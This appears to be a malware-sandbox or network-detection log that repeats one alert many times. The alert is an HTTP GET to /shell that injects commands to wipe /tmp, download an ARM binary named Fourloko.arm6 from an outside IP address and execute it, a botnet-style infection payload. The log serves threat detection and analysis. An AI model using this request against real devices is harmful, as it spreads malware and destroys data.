    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
